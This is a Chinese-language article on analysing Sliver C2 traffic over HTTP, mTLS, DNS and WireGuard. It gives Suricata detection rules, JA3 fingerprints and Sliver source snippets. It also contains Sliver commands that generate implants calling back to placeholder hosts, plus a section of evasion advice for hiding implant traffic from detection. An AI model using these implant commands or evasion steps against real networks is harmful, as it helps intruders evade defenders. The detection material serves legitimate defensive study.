sliver (二)流量分析&源码分析&特征对抗
字数 1123 2025-08-23 18:31:18
Sliver C2 流量分析与特征对抗指南
1. HTTP 流量分析
1.1 环境搭建与分析准备
# 生成 macOS 的 HTTP 植入程序
generate --http x.x.x.x:808 --os macos --max-errors 99999 --save ./macos_shell_http
# Sliver 监听 808 端口
http -l 808
# 使用 tcpdump 捕获流量
sudo tcpdump -i eth0 port 808 -w mac_http.pcap
# 计算 JA3 指纹
python3 ja3box_pro.py -i eth0 -p 808
1.2 HTTP 流量特征
1.2.1 URL 路径特征
Sliver 从配置文件 ~/.sliver/configs/http-c2.json 中读取 URL 路径,主要包含以下几类:
{
"stager_file_ext": ".woff",
"stager_files": ["attribute_text_w01_regular", "ZillaSlab-Regular.subset.bbc33fb47cf6"],
"stager_paths": ["static", "assets", "fonts", "locales"],
"poll_file_ext": ".js",
"poll_files": ["bootstrap", "bootstrap.min", "jquery.min", "jquery"],
"poll_paths": ["js", "umd", "assets", "bundle"],
"start_session_file_ext": ".html",
"session_file_ext": ".php",
"session_files": ["login", "signin", "api", "samples", "rpc"],
"session_paths": ["php", "api", "upload", "actions", "rest"],
"close_file_ext": ".png",
"close_files": ["favicon", "sample", "example"],
"close_paths": ["static", "www", "assets", "images"]
}
1.2.2 User-Agent 特征
默认情况下,Sliver 会根据操作系统设置不同的 User-Agent:
if userAgent == "" {
switch goos {
case "windows":
return fmt.Sprintf("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", ChromeVer(baseVer))
case "linux":
return fmt.Sprintf("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", ChromeVer(baseVer))
case "darwin":
return fmt.Sprintf("Mozilla/5.0 (Macintosh; Intel Mac OS X %s) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", MacOSVer(macOsVer), ChromeVer(baseVer))
}
}
1.2.3 响应码特征
Sliver 的 poll 请求会返回大量 204 状态码:
case <- time.After(s.getServerPollTimeout()):
httpLog.Debug("Poll time out")
resp.WriteHeader(http.StatusNoContent)
s.noCacheHeader(resp)
resp.Write([]byte{})
1.3 Suricata 检测规则示例
请求检测规则
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg: "ETPRO MALWARE Sliver HTTP SessionInit Request";
flow:established,to_server;
flowbits:set,ETPRO.SliverSessionInit;
http.method; content: "POST";
http.uri; content: "/register.html?"; fast_pattern;
content: "&"; distance:0;
content: "="; within:3;
pcre: "/a(?:uth(?:enticate)?|ctions|pi)|oauth(?:2(?:callback)?)?|d(?:atabase|b)|namespaces|upload|rest|php|v1)\/){0,13}register\.html\?.*[a-z_]{1,2}=[a-z_0-9]{8,11}&[a-z_]{1,2}=[a-z_0-9]{8,11}/";
http.user_agent; content: ") AppleWebKit/537.36 (KHTML, like Gecko) Chrome/";
content: " Safari/537.36"; endswith;
http.header_names; content:!"|0d 0a|Accept|0d 0a|";
reference:url,github.com/BishopFox/sliver/;
classtype:command-and-control;
sid:2852657; rev:3; target:src_ip;
)
响应检测规则
alert http $EXTERNAL_NET any -> $HOME_NET any (
msg: "ETPRO MALWARE Sliver HTTP SessionInit Response";
flow:established,to_client;
flowbits:isset,ETPRO.SliverSessionInit;
http.header; content: "Cache-Control|3a 20|no-store, no-cache, must-revalidate|0d 0a|Date|3a 20|"; startswith;
http.header_names; content: "|0d 0a|Cache-Control|0d 0a|Set-Cookie|0d 0a|Date|0d 0a|"; startswith; fast_pattern;
http.cookie; bsize:52; content: "PHPSESSID="; startswith;
content: "|3b 20|HttpOnly"; distance:32; within:10;
pcre: "/^PHPSESSID=[a-f0-9]{32}\x3b/";
reference:url,github.com/BishopFox/sliver/;
classtype:command-and-control;
sid:2852718; rev:1; target:dest_ip;
)
2. mTLS 流量分析
2.1 环境搭建
# 生成 macOS 的 mTLS 植入程序
generate --mtls x.x.x.x --os macos --save ./macos_shell_mtls
# Sliver 监听 8888 端口
http -l 8888
# 捕获流量
sudo tcpdump -i eth0 port 8888 -w mac_mtls.pcap
# 计算 JA3/JA3S 指纹
python3 ja3box_pro.py -i eth0 -p 8888
2.2 mTLS 特征
- JA3 指纹:
19e29534fd49dd27d09234e639c4057e - JA3S 指纹:
f4febc55ea12b31ae17cfb7e614afda8
注意:这些指纹可能与其他使用相同 TLS 库的合法应用相同。
2.3 Suricata 检测规则
alert tls $HOME_NET any -> any 8888 (
msg: "疑似C2工具sliver https加密通信行为-window/macos";
flow:established,to_server;
ja3.hash; content: "19e29534fd49dd27d09234e639c4057e";
flowbits:set,Sliver_TLS001;
flowbits:noalert;
sid:1240709019;
rev:1;
)
alert tls $HOME_NET any -> any 8888 (
msg: "疑似C2工具sliver https加密通信行为-centos7";
flow:established,to_server;
ja3.hash; content: "473cd7cb9faa642487833865d516e578";
flowbits:set,Sliver_TLS001;
flowbits:noalert;
sid:1240709020;
rev:1;
)
alert tls $EXTERNAL_NET 8888 -> any any (
msg: "C2工具sliver https默认证书特征";
flow:established,to_client;
ja3s.hash; content: "f4febc55ea12b31ae17cfb7e614afda8";
flowbits:isset,Sliver_TLS001;
threshold: type both, track by_dst, seconds 7200, count 1;
sid:1240709021;
)
3. DNS 流量分析
3.1 环境搭建
# 创建 DNS 监听器
dns --domains testc2.x.x.
# 生成植入程序
generate --dns testc2.x.x --seconds 15 --jitter 0
3.2 DNS 特征
- 大量对特定子域的解析请求
- 非常长的子域名(接近 254 字符限制)
- 使用 Base32 或 Base58 编码数据
3.3 Suricata 检测规则
alert dns any any -> any any (
msg: "DNS query with domain length > 200";
dns_query;
pcre: "/^.{200,}/";
classtype:attempted-recon;
sid:1240709022;
rev:1;
)
4. WireGuard 流量分析
4.1 环境搭建
# 生成 WireGuard 植入程序
generate --wg x.x.225.92 --save ./win_shell_wg.exe
# 配置 WireGuard
wg
wg-config -s /opt/sliver/wireguard.conf
wg-portfwd add -r 10.211.55.3:808
4.2 WireGuard 特征
- 默认使用 53 端口
- 完全加密的流量
- 无明显特征
5. 对抗建议
-
自定义 C2 Profile:
- 修改默认的 URL 路径、文件扩展名和文件名
- 自定义 User-Agent
- 使用 GPT 生成独特的配置文件
-
修改默认端口:
- 避免使用 808、8888 等默认端口
-
JA3 指纹混淆:
- 修改 TLS 配置以改变 JA3/JA3S 指纹
-
DNS 隐蔽性增强:
- 使用更短的域名
- 混合正常 DNS 查询
-
WireGuard 配置:
- 修改默认端口
- 使用自定义的 WireGuard 配置
-
流量模式调整:
- 减少 204 响应码的使用
- 模拟正常应用的流量模式
6. 检测建议
-
多特征关联检测:
- 结合 JA3、URL 模式、响应码等多维度特征
- 建立行为基线,检测异常模式
-
威胁情报整合:
- 监控 Sliver 默认端口 (31337)
- 集成已知的 Sliver C2 服务器情报
-
深度流量分析:
- 分析 HTTP 头部特征
- 检测异常的 DNS 查询模式
-
终端行为监控:
- 检测 Sliver 植入程序的进程行为
- 监控异常的网络连接
通过理解 Sliver C2 的流量特征和检测方法,安全团队可以更好地防御此类威胁,而红队则可以针对性地规避检测。